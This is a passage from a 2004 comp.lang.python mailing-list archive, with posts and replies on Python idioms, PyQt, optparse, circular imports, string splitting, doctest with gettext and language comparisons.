the code that I write, but it has its drawbacks as well. A
counterargument often put forward is that users of a class usually
don't care whether something is really a class or whether it's
a factory function, and often you would like to be free to change
the implementation from one to the other without affecting client
code. With a naming convention that distinguishes classes from
functions, you can't do that.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From peter at engcorp.com  Tue Feb 17 16:56:49 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 17 Feb 2004 16:56:49 -0500
Subject: PEP218: Representing the empty set
References: <Eakvp5MXQnMAFwqT@at-andros.demon.co.uk>
	<403281B3.7E370347@engcorp.com>
	<7xlln1pfip.fsf@ruckus.brouhaha.com>
Message-ID: <40328E21.E451AE5A@engcorp.com>

Paul Rubin wrote:
> 
> Peter Hansen <peter at engcorp.com> writes:
> > Maybe it's nothing more than this distinction:  dict() is a call which
> > *returns* an empty dictionary.  {} *is* an empty dictionary.
> 
> I don't understand in what ways these are really distinct.
> 
>     a = []
>     for i in range(2):
>       a.append({})
>     print (a[0] is a[1])
> 
> prints 0, if that helps.  Clearly "a = {}" and "a = dict()" both run
> some code that creates a new empty dictionary.  It's not the case that
> "a = {}" sets a to an empty dict created at compile time or anything
> like that.

I agree.  In that example, either is equally readable.

I think the example I would have in mind is a comparison:

if a == []:
    # do something
    if b != {}:
        a.append(b)

or whatever.

I think the difference lies in ones intent.  If the empty item is
going to be kept around and used, then a constructor approach seems
appropriate, maybe even arguably more readable.  If the empty item
is merely a temporary, to be used and discarded, then the apparent
extra overhead of the call, and the less succinct syntax, lead me to
think the short form is preferable.

-Peter


From ramen at lackingtalent.com  Mon Feb 16 10:54:17 2004
From: ramen at lackingtalent.com (Dave Benjamin)
Date: Mon, 16 Feb 2004 15:54:17 -0000
Subject: any examples of great well-written web apps?
References: <mailman.1229.1075959185.12720.python-list@python.org>
	<FusXb.304324$I06.3087988@attbi_s01> <87bro1a7qc.fsf@strauser.com>
Message-ID: <slrnc31qf9.m7i.ramen@lackingtalent.com>

In article <87bro1a7qc.fsf at strauser.com>, Kirk Strauser wrote:
> Did PHP ever get a standard database API as part of the core system, or do
> people still use those horrid mysql_execute()-style functions?

Not that I'm particularly interested in having a Python vs PHP argument,
since I think they both have their place, but PHP has had PEAR::DB and
several other database abstraction layers for several years now. In fact,
PEAR::DB is part of the standard PHP distribution.

-- 
.:[ dave benjamin: ramen/[sp00] -:- spoomusic.com -:- ramenfest.com ]:.
: d r i n k i n g   l i f e   o u t   o f   t h e   c o n t a i n e r :


From kirk at strauser.com  Sat Feb 14 12:35:06 2004
From: kirk at strauser.com (Kirk Strauser)
Date: Sat, 14 Feb 2004 17:35:06 GMT
Subject: any examples of great well-written web apps?
References: <mailman.1229.1075959185.12720.python-list@python.org>
	<FusXb.304324$I06.3087988@attbi_s01>
Message-ID: <87bro1a7qc.fsf@strauser.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 2004-02-14T17:00:21Z, "Valya Illieva" <zena13 at email.ynet.bg> writes:

> Although I never used Python for web-applications, as a web-designer I
> know from experience that PHP makes a better server side scripting
> language than Python.

Have I been trolled?

> Since PHP has a C++ style [...]

Hah!

> [...] with powerful server-side instructions, it's capable of interfacing
> with Form Data and MySQL which make it a better choice for web-design.

Double-hah!

> Visit PHP.Net for more information.

Did PHP ever get a standard database API as part of the core system, or do
people still use those horrid mysql_execute()-style functions?

> As far as web-applications are concerned, Java makes a better choice since
> it has been well grounded since its inception to be cross-platform.

Yep, I have been trolled.

> Python is a great OOP but since your average user doesn't know what that
> is, it makes a better local application than it does a web-application.

Honestly, Valya, surely you can do better than this?
- -- 
Kirk Strauser
The Strauser Group
Open. Solutions. Simple.
http://www.strausergroup.com/
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/Fn5sqtde/XoH24G7eoAPmk=
=nRLw
-----END PGP SIGNATURE-----


From mpyle at legato.com  Fri Feb 20 13:05:36 2004
From: mpyle at legato.com (Michael Pyle)
Date: Fri, 20 Feb 2004 10:05:36 -0800
Subject: QWidget casts with PyQt?
Message-ID: <96F3EC4BDF504540BB9715CBE9DACB8B085F18B1@pa-mail1.legato.com>

Just use the reference you get back as a QButtonGroup object.

The following code works fine for me:



from qt import *

app = QApplication([])
box = QToolBox()
grp = QButtonGroup()
box.addItem( grp, 'button group' )
item = box.item( 0 )
print item
print item.isRadioButtonExclusive()



This outputs:
<__main__.qt.QButtonGroup object at 0x00804360>
True


--mike

-----Original Message-----
From: Ewald R. de Wit [mailto:erdewit at d-e-l-e-t-e.zonnet.nl] 
Sent: Friday, February 20, 2004 2:42 AM
To: python-list at python.org
Subject: Re: QWidget casts with PyQt?


Stefan Quandt wrote:
> I want to access widgets from a Qt container widget e.g.
>   item = ToolBox.item( 0 )
> 
> I know that the item is a QButtonGroup.
> The Qt-Library returns a QWidget pointer.
> So what I get is a Python QWidget wrapper object.

This is quite a general problem for which I would like to know a solution
too.

-- 
  --  Ewald

-- 
http://mail.python.org/mailman/listinfo/python-list
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From miki.tebeka at zoran.com  Sun Feb  8 04:02:42 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 8 Feb 2004 01:02:42 -0800
Subject: passing what a function returns to another function
References: <c03uh1$6ut$1@solaris.cc.vt.edu>
Message-ID: <4f0a9fdb.0402080102.5b8c8a05@posting.google.com>

Hello Bart,

> I have 2 functions among others. One gets a URL and returns its, For
> example, it returns 'http://127.0.0.1' How can I pass this to another
> function? I've never worked with code that has lots of functions before.
You can either use a varible to store the 1'st result and pass it to
the 2'nd function of call the 1'st function directly as a parameter:

>>> def double(x):
	return x * 2

>>> def triple(x):
	return x * 3
>>> a = double(2)
>>> triple(a)
12
>>> triple(double(2))
12

HTH.
Miki


From someone at somedomain.com  Fri Feb  6 08:38:28 2004
From: someone at somedomain.com (electron)
Date: Fri, 06 Feb 2004 13:38:28 GMT
Subject: Best Beginner's Guide To Python?
References: <3b48d777.0402052148.3cd8e16c@posting.google.com>
Message-ID: <oNMUb.31500$rj7.359273@twister.tampabay.rr.com>

The Tao of Spike wrote:

> I've recentlty been getting into programming.  I was wondering what
> language to learn first and after asking around I decided on Python.
> I'm about half way through "Non-Programmers Tutorial For Python" By
> Josh Cogliati (http://www.honors.montana.edu/~jjc/easytut/easytut/)
> and I'm wondering where I should go after this.  Any help is
> appreciated, thanks.

  The latest (2nd) edition of Oreilly's "Learning Python", 
ISBN 0596002815, by Mark Lutz and David Ascher is absolutely
outstanding and much improved over the 1st edition which was also
good.  I own the 1st edition and currently have the 2nd edition
checked out from my local library.  The latter is so good that I
intend to buy it ASAP.

Regards


From wweston at att.net  Sat Feb 21 11:13:52 2004
From: wweston at att.net (wes weston)
Date: Sat, 21 Feb 2004 16:13:52 GMT
Subject: New user needs help
In-Reply-To: <103dqa9m48nj792@corp.supernews.com>
References: <103dqa9m48nj792@corp.supernews.com>
Message-ID: <4tLZb.26662$aH3.847769@bgtnsc04-news.ops.worldnet.att.net>

John,
    If you really want a var in a function to be a global
version, you need to use the "global" stmt.


a = 4
def foo():
	global a = x

It's probably a good idea to put all global vars at the
top of your file right after your import stmts.

wes

John wrote:
> I am new to using Python. Everytime I run this program it prints "The lowest
> common factor is 0", no matter what numbers I use. Can anybody see anything
> wrong with my program? Thanks in advance.
> 
> 
> 
> def getnum1(a):
>     a = input("What is the first number?")
>     if a == 0:
>         getnum1(a)
> def getnum2(b):
>     b = input("What is the second number?")
>     if b == 0:
>         getnum2(b)
> def euclid(num1, num2, num3, num4):
>     if num1 < num2:
>         num3, num4 = num1, num2
>         num1, num2 = num4, num3
>         euclid(num1, num2, num3, num4)
>     elif num2 != 0:
>         num3, num4 = num1, num2
>         num1 = num4
>         num2 = num3 % num4
>         euclid(num1, num2, num3, num4)
>     else:
>         print "The lowest common factor is: ", num1
> a = 0
> getnum1(a)
> b = 0
> getnum2(b)
> x, y = 2, 100
> euclid(a, b, x, y)
> 
> 



From jcarlson at nospam.uci.edu  Mon Feb 16 13:23:17 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 16 Feb 2004 10:23:17 -0800
Subject: Executing a file remotely
In-Reply-To: <slrnc31tj2.aus.jgrahn-nntq@frailea.sa.invalid>
References: <731fc603.0402111520.717e763c@posting.google.com>
	<slrnc2lf46.16j.bignose-hates-spam@rose.localdomain.fake>
	<102li7mgihijf97@corp.supernews.com>
	<slrnc2ljem.16j.bignose-hates-spam@rose.localdomain.fake>
	<731fc603.0402121446.2cbb2c5c@posting.google.com>
	<slrnc31tj2.aus.jgrahn-nntq@frailea.sa.invalid>
Message-ID: <c0r1vb$8t$1@news.service.uci.edu>

> In that case you'd be better off with a good port of ssh, which encrypts
> passwords and traffic (although it probably doesn't matter much if both
> machines are on a LAN where lots of Windows passwords already travel in the
> clear).

NTLM and NT hashes are not plaintext, even though there are well 
documented brute-force attacks against those hashes.

On the other hand, many web pages (or POP3, IMAP, FTP, etc.) still 
prefer to authenticate users using plain or base64 encoded passwords, 
without ssl.  This is a bigger security hole than NTLM or NT hashes by a 
long shot.

  - Josiah


From lbates at swamisoft.com  Thu Feb  5 10:36:27 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Thu, 5 Feb 2004 09:36:27 -0600
Subject: Line Text Parsing
References: <5b4785ee.0311150736.48aef621@posting.google.com>
	<mailman.765.1068940219.702.python-list@python.org>
	<Xns948575A2C930Aacuencacanadacom@198.161.157.145>
Message-ID: <hdSdnQJZOpFk_7_dRVn-tA@comcast.com>

I think one of the easiest ways to do this is to
write a class that knows how to parse each of the
unique lines.  As you are reading through the file/table
and encounter a line like the first, create a new
class instance and pass it the line's contents.  The
__init__ method of the class can parse the line and
place each of the field values in an attribute of the
class.

Something like (this is pseudocode):

class linetype01:
    #
    # Define a list that contains information about how to
    # parse a single linetype.  The info is fieldname,
    # beginning column, ending column, fieldlength
    #

    _parsinginfo=[('recnum',0,8),
                  ('linetype',8,3),
                  ('dataitem2',11,3),
                  ...)
    def __init__(self, linetext):
        self.linetext=linetext
        for fieldname, begincol, fieldlength in _parsinginfo:
            self.__dict__[fieldname]=linetext[begincol,
begincol+fieldlength+1]
    return

you would define a class like this for each unique linetype

in main program
import sys

#
# Insert code to open file/table here
#
for line in table:
    #
    # See which linetype it is
    #
    linetype=line[8:10]
    if linetype == "01":
        pline=linetype01(line)
        #
        # Now you can extract the values by accessing attributes of
        # the class.
        #
        recordnum=pline.recnum
        tlinetype=pline.linetype
        #
        # Do something with the values
        #


    elif linetype == "55":
        pline=linetype55(line)

    elif linetype == "20":
        pline=linetype20(line)
    else:
        print "ERROR-Illegal linetype encountered")
        sys.exit(2)


Just one of many ways to solve this problem.

-Larry


"allanc" <kawNOSPAMenks at nospamyahoo.ca> wrote in message
news:Xns948575A2C930Aacuencacanadacom at 198.161.157.145...
> I'm new with python so bear with me.
>
> I'm looking for a way to elegantly parse fixed-width text data (as opposed
> to CSV) and saving the parsed data unto a database. The text data comes
> from an old ISAM-format table and each line may be a different record
> structure depending on key fields in the line.
>
> RegExp with match and split are of interest but it's been too long since
> I've dabbled with RE to be able to judge whether its use will make the
> problem more complex.
>
> Here's a sample of the records I need to parse:
>
> 01508390019002      11284361000002SUGARPLUM
> 015083915549           SHORT ON LAST ORDER
> 0150839220692 000002EA BMC   15 KG   001400
>
> 1st Line is a (portion of) header record.
> 2nd Line is an text instruction record.
> 3rd Line is a Transaction Line Item record.
>
> Each type of record has a different structure. But these set of lines
> appear in the one table.
>
>
> Any ideas would be greatly appreciated.
>
> Allan




From hameedkhaan at yahoo.com  Wed Feb 25 03:03:01 2004
From: hameedkhaan at yahoo.com (Hameed Khan)
Date: Wed, 25 Feb 2004 00:03:01 -0800 (PST)
Subject: string.split bug?
Message-ID: <20040225080301.71246.qmail@web61110.mail.yahoo.com>

hi,
  i am not a python expert i am just a beginner and i
am taking part in thi discussion because i have
encounter the same problem just a week ago. and from
my experiments on different types of strings i have
concluded that python returns and extra empty string
as a last item when we provided delimeter to split()
function. and when we dont provide delimeter to
split() it checks the common delimeter (i think it
only looks for newline and whitespace delimeters) in
string and then splits the string according to that
delimeter and didn't return any extra empty string as
a last item in the list it returns.

Thanks,
Hameed.
------------------------------

Message: 5
Date: 24 Feb 2004 23:08:06 -0800
From: jcb at iteris.com (MetalOne)
Subject: string.split bug?
To: python-list at python.org
Message-ID:
<92c59a2c.0402242308.35f55d4a at posting.google.com>
Content-Type: text/plain; charset=ISO-8859-1

string.split("") ==> []
string.split("",",") ==> ['']

I did not expect these to have different outputs.

I have a string with comma delimited numbers.
There can be zero or more numbers in the string
s = "0x41, 0x42"

I wanted to do
numbers = map(lambda x: int(x,16),
string.split(s,","))

However, when there are no numbers, this generates an
error.


------------------------------


__________________________________
Do you Yahoo!?
Yahoo! Mail SpamGuard - Read only the mail you want.
http://antispam.yahoo.com/tools



From harry.g.george at boeing.com  Mon Feb 23 02:41:52 2004
From: harry.g.george at boeing.com (Harry George)
Date: Mon, 23 Feb 2004 07:41:52 GMT
Subject: How to overide "for line in file:"
References: <tisf301qf76c8lh0jkq9086gpqoep1bb1u@4ax.com>
	<lvVZb.43854$5W3.38603@nwrddc02.gnilink.net>
Message-ID: <xqxsmh2dyyn.fsf@cola2.ca.boeing.com>

Shalabh Chaturvedi <shalabh at cafepy.com> writes:

> David Morgenthaler wrote:
> 
> > How does one overide the iterator implied by the construct "for line
> > in file:"?
> > 
> 
> 'for' uses __iter__().
> 
> Subclass file and redefine __iter__(self). It should return an object that
> has the next() method which returns the next item, or raises StopIteration
> if finished. Returning self from __iter__() is ok (then you can put the
> next() in the same class). 
> 
> An easier alternative is to make __iter__() a generator function (so calling
> it automatically returns a 'generator' object, which has next() on it, and
> also raises StopIteration when done).
> 
> HTH,
> Shalabh


Slightly off topic, how do you "reset" or backup an iter?  Someone
asked me a couple of days ago how to use yield and then backup if the
yielded line failed to meet certain criteria.  Essentailly a
lookahead(1) situation.

Historically, I've made a list, kept track of the line index, and
decremented that when I needed to backup.  Does iter have something
equiv?


-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From jcarlson at nospam.uci.edu  Sun Feb  8 00:35:46 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 07 Feb 2004 21:35:46 -0800
Subject: Basic 'import' problem
In-Reply-To: <c03qor$306s$1@ns.felk.cvut.cz>
References: <c03aeb$12q8$1@ns.felk.cvut.cz> <c03i3f$3v4$03$1@news.t-online.com>
	<c03kmp$28u7$1@ns.felk.cvut.cz> <c03o2l$j6q$1@news.service.uci.edu>
	<c03qor$306s$1@ns.felk.cvut.cz>
Message-ID: <c04hvv$bmu$1@news.service.uci.edu>

> Thanks for that. It makes sense.
> 
> Now, if X.py imports Y.py and Y.py imports X.py, does this present any 
> fundamental problems? (e.g. something get initizlized twice...)

No, Python is smart about that.  However, realize that if you try to do 
anything with X in Y before X is done being imported, then Y will have 
issues.

Don't:
#in X.py
from Y import *

#in Y.py
from X import *

The above will result in Y getting a partial namespace update from X, 
really only getting everything initialized before the 'from Y import *' 
statement in X.py.

Won't work:
#in main.py
import X

#in X.py
import Y
def blah():
     pass

#in Y.Py
import X
X.blah()


Will work:
#main.py
import X
import Y
X.runme()
Y.runme()

#in X.py
import Y
def runme():
     print "calling Y.runyou"
     Y.runyou()

def runyou():
     print "called X.runyou"

#in Y.py
import X
def runme():
     print "calling X.runyou"
     X.runyou()

def runyou():
     print "called Y.runyou"


Notice in the last version, we allow the entirety of the function 
definitions and namespaces to be completely initialized by the time we 
call anything?  Yeah, that is another method.

  - Josiah


From jepler at unpythonic.net  Mon Feb  9 20:22:30 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Mon, 9 Feb 2004 19:22:30 -0600
Subject: Unix domain sockets / IPC - how to get remote process/user id?
In-Reply-To: <78c7ca81.0402091539.82af1cb@posting.google.com>
References: <78c7ca81.0402091539.82af1cb@posting.google.com>
Message-ID: <20040210012230.GB2646@unpythonic.net>

On Mon, Feb 09, 2004 at 03:39:34PM -0800, Fossie wrote:
> So, for my question: What are my options? I cannot believe I am the
> first with this problem. Preferable, only standard python packages
> should be used.

My Linux manpage for unix(7) indicates that SCM_RIGHTS is not portable.
(I am not 100% sure this is what you're talking about, because it's
nothing I've ever done before) In any case, I looked but didn't find an
implementation of the needed sendmsg(2) .. I found only this:
	https://sourceforge.net/tracker/?func=detail&atid=355470&aid=814689&group_id=5470
Wrapping sendmsg with pyrex, ctypes, or even with a new C module might
be a good first project in extending Python.  If you do your work in
the form of a patch to Python, I suspect it would easily gain approval.
Once you'd tested your patch and added tests for it, you'd submit the
patch to the bug I mentioned above or as a new item in the Patch area.

best of luck,
Jeff



From brian at sweetapp.com  Sat Feb 14 18:53:04 2004
From: brian at sweetapp.com (Brian Quinlan)
Date: Sat, 14 Feb 2004 15:53:04 -0800
Subject: Allowing non-ASCII identifiers
In-Reply-To: <402E522D.4030203@prescod.net>
Message-ID: <00a401c3f355$b049eb70$0000fea9@dell8200>

> > someComObject.getattr('yield')(2,3)
> > someRPCServer.getattr('yield')(2,3)
> 
> I think you mean getattr(someComObject('yield'))(2,3,)

We both need a Python refresher :-)

getattr(someComObject, 'yield')(2,3)

Cheers,
Brian




From simon_place at whsmithnet.co.uk  Sun Feb 22 10:05:03 2004
From: simon_place at whsmithnet.co.uk (simon place)
Date: Sun, 22 Feb 2004 15:05:03 +0000
Subject: strange sum behavior
Message-ID: <4038c522$1_3@mk-nntp-1.news.uk.worldonline.com>

while playing about with inheriting from list to be able to cache macro 
properties i noticed this, the rate of summing a list seems to be over linear?

its nearly 3 times faster to sum the sums of smaller lists?


from time import clock

l=range(0,1000000)

start=clock()
print sum(l),
print clock()-start

# now sum a list of the sums of 1000 slices.
start=clock()
print sum([sum(l[x:x+1000]) for x in xrange(0,len(l),1000)]),
print clock()-start

# repeat
start=clock()
print sum(l),
print clock()-start

# output from 500MHz AMD K62 64Mb Python 2.3.3 (#51, Dec 18 2003, 20:22:39) 
[MSC v.1200 32 bit (Intel)] on win32
#499999500000 1.89348044721
#499999500000 0.731985115406
#499999500000 1.90818149818


From aahz at pythoncraft.com  Thu Feb  5 09:18:12 2004
From: aahz at pythoncraft.com (Aahz)
Date: 5 Feb 2004 09:18:12 -0500
Subject: PEP 327: Decimal Data Type
References: <mailman.1054.1075487007.12720.python-list@python.org>
	<bvef14$919$1@news.service.uci.edu>
	<ad052e5c.0401310101.1c5bd5aa@posting.google.com>
Message-ID: <bvtjb4$gic$1@panix2.panix.com>

In article <ad052e5c.0401310101.1c5bd5aa at posting.google.com>,
Dan Bishop <danb_83 at yahoo.com> wrote:
>
>For money, it means that I have *exactly* $1.80.  This is because
>"dollars" are just a notational convention for large numbers of cents.
> I can just as accuately say that have an (integer) 180 cents, and
>indeed, that's exactly the way it would be stored in my financial
>institution's database.  (I know because I used to work there.)  So
>all you really need here is "int".  But I do agree with the idea of
>having a class to hide the decimal/integer conversion from the user.

Really.  What kind of financial institution was this?  They didn't need
to deal with any form of fractional pennies?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From ods at strana.ru  Wed Feb 18 09:20:38 2004
From: ods at strana.ru (Denis S. Otkidach)
Date: Wed, 18 Feb 2004 17:20:38 +0300 (MSK)
Subject: codecs limitation
Message-ID: <Pine.LNX.4.44L.0402181705020.8516-100000@ods.pravda.rfn.ru>


Exploring the idea of Ian Bicking to define web codecs
(http://blog.colorstudy.com/ianb/weblog/2003/11/06.html#P29) I've
noticed that encoder can't return unicode string.  Here is
corresponding lines of code from Objects/unicodeobject.c:
--->8---
    /* XXX Should we really enforce this ? */
    if (!PyString_Check(v)) {
        PyErr_Format(PyExc_TypeError,
                     "encoder did not return a string object
(type=%.400s)",
                     v->ob_type->tp_name);
--->8---

I have the same question as stated in comments: should we really
enforce this and forget the idea to define some specialized
encodings like 'html'?

-- 
Denis S. Otkidach
http://www.python.ru/      [ru]




From simoninusa2001 at yahoo.co.uk  Fri Feb 27 22:01:07 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 27 Feb 2004 19:01:07 -0800
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com>
	<mailman.218.1077916834.8594.python-list@python.org>
Message-ID: <30260531.0402271901.1bbdda99@posting.google.com>

Here's how I see it (I'm a Web Developer by trade):

PHP - excellent database integration, if you don't want to have to use
a Java application server for database work, go with PHP. Also nice
templating system which even the Dreamweaver morons can work with. It
is a bit slow at times (XML-RPC/SOAP implementations stink) and has
limited data types.

Python - excellent GUI support (PyQt/TKinter/wxPython are sooo easy),
best suited to rapid application development - we use it for
prototyping cross-platform C++ apps at work, also for wrapping GUI's
around sysadmin scripts. Plus it's easy to distribute using distutils.

Perl - bloody fast, if you're doing lots of text processing/regex
(e.g. XML parsing) then Perl is it, probably best for sysadmin tasks
too. We use this for large reports at work. I love its hash handling
and wide range of modules.

The moral of the story is don't get locked into one technology, use
the best tools for the job - especially if you happen to know them
all! ;o)


From pinard at iro.umontreal.ca  Tue Feb 10 09:47:03 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Tue, 10 Feb 2004 09:47:03 -0500
Subject: converting base class instance to derived class instance
In-Reply-To: <102hh7s4m2hqna9@news.supernews.com>
References: <mailman.1390.1076365471.12720.python-list@python.org>
	<102hh7s4m2hqna9@news.supernews.com>
Message-ID: <20040210144703.GB12880@alcyon.progiciels-bpi.ca>

[John Roth]

> But I believe that object itself is a built-in type, and the error
> message in question specified "heap TYPE".

I understand what you say, and it sounds logical.  Thanks!

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From peter at engcorp.com  Mon Feb  9 17:25:29 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 09 Feb 2004 17:25:29 -0500
Subject: [ANN]PyCrash 0.2 released
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
	<CnwUb.121111$cM1.22432482@twister.nyc.rr.com>
	<a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>
	<4027E7DF.6CBFC09D@engcorp.com>
	<7xekt4yp80.fsf@ruckus.brouhaha.com>
Message-ID: <402808D9.46C9C2F2@engcorp.com>

Paul Rubin wrote:
> 
> Peter Hansen <peter at engcorp.com> writes:
> > In any case, I recommend the MIT license (on that page) as the simplest
> > way to "contribute to the python community" if you have no particular
> > desire to constrain the use of your code in any way (including, for example,
> > requiring things like "proper credit be given in the documentation" etc).
> 
> Well, public domain is simpler, 

That's arguable.  I've certainly seen more discussion here and elsewhere
about the concept of "public domain" and whether or not it even exists
in some places that I'd argue that the MIT license *is* simpler, but 
the discussion won't benefit anyone right now. :-)

> but "simplest" doesn't necessarily mean "best".  

True.  It's the OP's choice, but he seemed to be looking along the lines
of "simplest", IMHO.

> The GPL aims to make sure that everyone receives all the
> benefits of any improvements that anyone makes, and also to guarantee
> that end users have the freedom to study and modify the code that they
> run.  The MIT license (etc.) is of somewhat more benefit to product
> vendors, since it lets them freely use your code in proprietary
> products without having to pass that freedom on to their users.  I.e.
> you get to be an unpaid developer for someone else's proprietary product.

Yeah, whatever.  I see MIT as a simple way to say "here you go, I'm
clearly not restricting what you do with this".  If you want to get
into *enforcing* the freedom of your code, then you can certainly look
at GPL, but some people aren't into that kind of thing and don't mind
if someone finds a way to profit from their work in some small way. 
Some people would even feel proud if that happened...

-Peter


From Scott.Daniels at Acm.Org  Sat Feb  7 16:04:05 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Sat, 07 Feb 2004 13:04:05 -0800
Subject: splitting tables
In-Reply-To: <pan.2004.02.07.20.09.11.437775@no.mail.it>
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>
Message-ID: <40255c6c@nntp0.pdx.net>

robsom wrote:

> ... The 'split' function works pretty well, except when there is an error
> in the original data table. For example if an element is missin in a line,
> like this:
> 
> CGA 1990 08 15 13 16 G500-105 D   524.45 J.. R1 1993 01 29 00 00 900069
> CGA 1990 08 16 01 22          D   508.06 J.. R1 1993 01 27 00 00 900065

A way to stay reasonably fast is to use split when it works:

     lengths = 3,4,2,2,2,8,1,8,3,2,4,2,2,2,2,6
     ...
     result = line.split()
     if len(result) != len(lengths):
         result, pos = [], 0
         for length in lengths:
             next = pos + length + 1
             result.append(line[pos : next].strip())
             pos = next
     ...
-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From Florian.Lindner at xgm.de  Wed Feb 25 11:06:47 2004
From: Florian.Lindner at xgm.de (Florian Lindner)
Date: Wed, 25 Feb 2004 17:06:47 +0100
Subject: Problem with OptionParser
Message-ID: <c1ih6o$91h$06$1@news.t-online.com>

Hello,
I've this tiny Python sample:

- - - -
#!/usr/bin/python

from optparse import OptionParser, OptionValueError

def option_callback(option, opt, value, parser, *args, **kwargs):
    pass

optparser = OptionParser()
optparser.add_option("-t", "--type", action="callback",
callback=option_callback, type="string")
(options, arguments) = optparser.parse_args()
- - - -


Which runs fine when called without arguments. But if I call it with -h it
crashes. (the file name is error.py)

- - - -
florian at osiris:~/Programming$ ./error.py -h
Traceback (most recent call last):
  File "./error.py", line 10, in ?
    (options, arguments) = optparser.parse_args()
  File "/usr/lib/python2.3/optparse.py", line 1124, in parse_args
    stop = self._process_args(largs, rargs, values)
  File "/usr/lib/python2.3/optparse.py", line 1168, in _process_args
    self._process_short_opts(rargs, values)
  File "/usr/lib/python2.3/optparse.py", line 1275, in _process_short_opts
    option.process(opt, value, values, self)
  File "/usr/lib/python2.3/optparse.py", line 611, in process
    return self.take_action(
  File "/usr/lib/python2.3/optparse.py", line 632, in take_action
    parser.print_help()
  File "/usr/lib/python2.3/optparse.py", line 1365, in print_help
    file.write(self.format_help())
  File "/usr/lib/python2.3/optparse.py", line 1354, in format_help
    result.append(self.format_option_help(formatter))
  File "/usr/lib/python2.3/optparse.py", line 1332, in format_option_help
    formatter.store_option_strings(self)
  File "/usr/lib/python2.3/optparse.py", line 213, in store_option_strings
    strings = self.format_option_strings(opt)
  File "/usr/lib/python2.3/optparse.py", line 229, in format_option_strings
    metavar = option.metavar or option.dest.upper()
AttributeError: 'NoneType' object has no attribute 'upper'
- - - -

What's wrong with that?

Florian




From deets_noospaam at web.de  Sun Feb  8 11:13:37 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Sun, 08 Feb 2004 17:13:37 +0100
Subject: retrieving a return code from a thread
References: <mailman.1344.1076253164.12720.python-list@python.org>
Message-ID: <c05n7h$fp$00$2@news.t-online.com>

You could use a synchronized Queue (look into the docs) where the running
thread(s) put their results. The main loop waits until some or all results
are there, and then continues processing.

-- 
Regards,

Diez B. Roggisch


From no at spam.pls  Wed Feb 18 09:45:11 2004
From: no at spam.pls (Matthias)
Date: 18 Feb 2004 15:45:11 +0100
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
	<xqxptce16g3.fsf@cola2.ca.boeing.com>
	<36wbrnwk5g0.fsf@goya03.ti.uni-mannheim.de>
	<1036otlf7ng59a@corp.supernews.com>
Message-ID: <36w7jykjvk8.fsf@goya03.ti.uni-mannheim.de>

claird at lairds.com (Cameron Laird) writes:

> [...]
> Maybe you mean something different by "political" than I under-
> stand.

I used politics in the broad sense of "social relations involving
authority or power" (WordNet), not in the narrow sense related to
governments or political parties.  My wording could have been more
careful, sorry.

> Incidentally, although I haven't made an opportunity to speak
> with him deeply about this, I'm willing to bet that Guido *does*
> regard Python as an experiment, and an instance of "actual re-
> search".

I'm thankful that Python exists as it is my favorite language for some
application domains.  But I think in your last sentence your concept
of "research" is different from the one I was using in previous posts.
I was using "research" as "systematic investigation to establish
facts" (WordNet) as in physics, psychology, some social sciences, or
engineering.  I'm aware that other understandings are common and make
sense.

My posting was not against creators of new languages, tools,
methodologies but against publishing strong and general claims on the
potential benefits without having to offer the slightest piece of
unbiased evidence.

Some questions concerning programming languages debated on usenet
almost endlessly (typing, garbage collection, syntax issues) could be
_resolved_ using lab experiments.  That there goes so much effort into
marketing and apparently only little into actual experiments is what I
criticize.


From prouleau at impathnetworks.com  Fri Feb 27 11:46:02 2004
From: prouleau at impathnetworks.com (Pierre Rouleau)
Date: Fri, 27 Feb 2004 11:46:02 -0500
Subject: Problem with mixing doctest with gettext _()
In-Reply-To: <FZG%b.20178$253.1255290@news20.bellglobal.com>
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>
	<mailman.191.1077856934.8594.python-list@python.org>
	<FZG%b.20178$253.1255290@news20.bellglobal.com>
Message-ID: <NlK%b.18102$Mo4.610288@news20.bellglobal.com>

Pierre Rouleau wrote:

> Skip Montanaro wrote:
> 
>>     Pierre> I tried to define a _() function when testing with the code
>>     Pierre> below but the doctest still fails.  The following code is 
>> at the
>>     Pierre> end of my utstring.py module
>>     ...
>>
>> I suspect it's because your dummy _ is not in builtins.  Why not just 
>> call
>> gettext.install() where you are currently defining _?
>>
> 
> Skip, this looks like the way to go.
> 
> I was trying to avoid it because the translation files for these library 
> modules are constructed at the application level somewhere else.  But I 
> was also considering creating a translation library for these module, so 
> I guess that is one more incentive to do so...
> 

I implemented the dictionary and use it in the code just fine, but the 
doctest still fails :(

My teststr.py module is:

#--[---------------------------------------------------------------
if __name__ == "__main__":
     # install gettext for testing this module because of the string 
translation
     # performed in the code.
     import gettext
     gettext.install('impathpl', './locale', unicode=False)
     presLan_en = gettext.translation('impathpl', "./locale", 
languages=['en'])
     presLan_en.install()

def onOffStr(isOn) :
     """Return the "ON" string for True, "OFF" for False.

     **Example**

     >>> onOffStr(True)
